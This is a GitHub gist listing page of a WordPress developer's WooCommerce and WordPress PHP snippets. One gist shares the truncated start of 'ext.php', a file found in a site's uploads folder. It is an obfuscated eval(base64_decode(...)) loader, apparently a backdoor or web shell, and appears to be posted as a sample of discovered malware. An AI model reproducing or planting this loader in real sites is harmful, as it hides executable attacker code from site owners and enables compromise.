Skip to content

Instantly share code, notes, and snippets.

Avatar

Damien Carbery damiencarbery

View GitHub Profile
View wc-order-history-test.php
<?php
/*
Plugin Name: WooCommerce Order History Test
Plugin URI: http://www.damiencarbery.com
Description: Quick experiment with adding order history info to My Orders tab.
Author: Damien Carbery
Version: 0.1
$Id: $
*/
View wc-free-shipping-notice.php
<?php
/*
Plugin Name: WooCommerce - Free Shipping Notice
Plugin URI: http://www.damiencarbery.com
Description: Add note about free shipping for all except one product.
Author: Damien Carbery
Version: 0.1
*/
@damiencarbery
damiencarbery / my-dashboard.php
Created Dec 20, 2016
Customise WooCommerce template files in a plugin
View my-dashboard.php
<?php
/**
* My Account Dashboard
*
* Shows the first intro screen on the account dashboard.
*
* This template can be overridden by copying it to yourtheme/woocommerce/myaccount/dashboard.php.
*
* HOWEVER, on occasion WooCommerce will need to update template files and you
* (the theme developer) will need to copy the new files to your theme to
@damiencarbery
damiencarbery / conditional-debug-code.php
Last active Jan 20, 2017
Debugging with WordPress - enable WP_DEBUG, with sample usage to investigate wc_get_template()
View conditional-debug-code.php
<?php
// Only call error_log() when in debug mode.
if ( defined( 'WP_DEBUG' ) && WP_DEBUG ) {
error_log('WP_DEBUG is enabled');
}
@damiencarbery
damiencarbery / rac-calc-free-shipping-min-amount.php
Last active Feb 13, 2017
Woocommerce - Promote Free Shipping
View rac-calc-free-shipping-min-amount.php
<?php
// Code inspired by http://ibenic.com/ultimate-guide-woocommerce-shipping-zones/
function rac_get_free_shipping_amount( $package ) {
$all_zones = WC_Shipping_Zones::get_zones();
$shipping_zone = WC_Shipping_Zones::get_zone_matching_package( $package );
$min_amounts = array();
// Verify that the shipping zone is in $all_zones (zone id 0 isn't!)
if ( array_key_exists( $shipping_zone->get_id(), $all_zones ) ) {
$methods = $all_zones[ $shipping_zone->get_id() ][ 'shipping_methods' ];
@damiencarbery
damiencarbery / pluck-vs-fields.php
Created Feb 23, 2017
Quick comparison of using wp_list_pluck() and "fields"=>'ids" with WP_Query
View pluck-vs-fields.php
<?php
// Restrict who can access this script.
$permitted_ips = array('12.34.56.78');
if (in_array($_SERVER['REMOTE_ADDR'], $permitted_ips) == false) {
header('HTTP/1.0 403 Forbidden');
die();
}
?>
<!DOCTYPE html>
<!-- $Id: update-transients.php 4163 2016-12-16 11:36:52Z damien $ -->
@damiencarbery
damiencarbery / ext.php
Created Feb 25, 2017
ext.php found in wp-content/uploads
View ext.php
<?php
//Obfuscation provided by FOPO - Free Online PHP Obfuscator v1.2: http://www.fopo.com.ar
$cd61f663832b="\x62\141\x73\145\x36\64\x5f\144\x65\143\x6f\144\x65";@eval($cd61f663832b(
"JHIwMGU4NDlkMmU1ZjRlYzE0NjhhMjYzNTVmMjI0YTJkPSJceDYyIjskdTI3ZDQxMzY2YmFmYzkyYmFmZTA0ODM
zMTc0MzllYWU9Ilx4NjUiOyR4Zjk0NDFhNzM0ZGVmNjEwNmU4MDEwYjk3ODUzMTcxOD0iXHg2NiI7JGRhMjRlZmY
zODI1ZmRjZGRhYTk4N2M5NDg2ZDA1MzNlPSJceDY3IjskejNhMzBjMGIyZTM3ZjVhMWYzZDVlNjA3NTAwMGE1YzI
9Ilx4NmQiOyRxYjlmZTIzMzEzNDc2NzAzZTRhZDk1YWY4OGQyZmRiYj0iXHg2ZiI7JHNhYTc4MDU2NzI4YmU1N2V
hYjMxN2E3YWFlZjljZTdiPSJceDZmIjskbjJiNDRkYzM0ODNjZWVlYWU3NjE5MzY5NGRkZmMxZmQ9Ilx4NmYiOyR
zMDNiYzc3MTQ0YTJkMTMzZDJjYTAyMWUyY2UyMDc1Mz0iXHg2ZiI7JGU1OTVlOGU3YzA1MWQwZjI3YTgzMTc1NjY
wZWFiYzYwPSJceDczIjskemEzY2YyY2Q5MmJjZWQ4ZjRhNzFmZGM2ZmVmOGM2NmI9Ilx4NzMiOyRnNDZkMzZmNTN
@damiencarbery
damiencarbery / dcwd-support-request.php
Last active Mar 21, 2017
WordPress Dashboard Widget as a Client Support Form
View dcwd-support-request.php
<?php
// WordPress Administration Bootstrap
$admin_file = 'wp-admin/admin.php';
$plugin_dir = dirname( __FILE__ ) . '/';
// Find the wp-admin/admin.php file.
$relative_dirs = '';
$num_rel_dirs = 0;
while ( !file_exists( $plugin_dir . $relative_dirs .$admin_file ) && $num_rel_dirs < 10 ) {
$relative_dirs .= '../';
@damiencarbery
damiencarbery / youtube-iframe.html
Created Apr 3, 2017
Disable Related Videos For Your YouTube Videos
View youtube-iframe.html
<iframe width="420" height="315" src="//www.youtube.com/embed/dQw4w9WgXcQ" frameborder="0" allowfullscreen></iframe>
View archive-pati_videos.php
<?php get_header(); ?>
<?php // $Id: archive-pati_videos.php 4154 2016-12-05 10:54:02Z damien $ ?>
<div id="main-content">
<div class="container">
<div id="content-area" class="clearfix">
<div id="left-area">
<?php if (is_user_logged_in()) { ?>
<?php
if ( have_posts() ) :
while ( have_posts() ) : the_post();
You can’t perform that action at this time.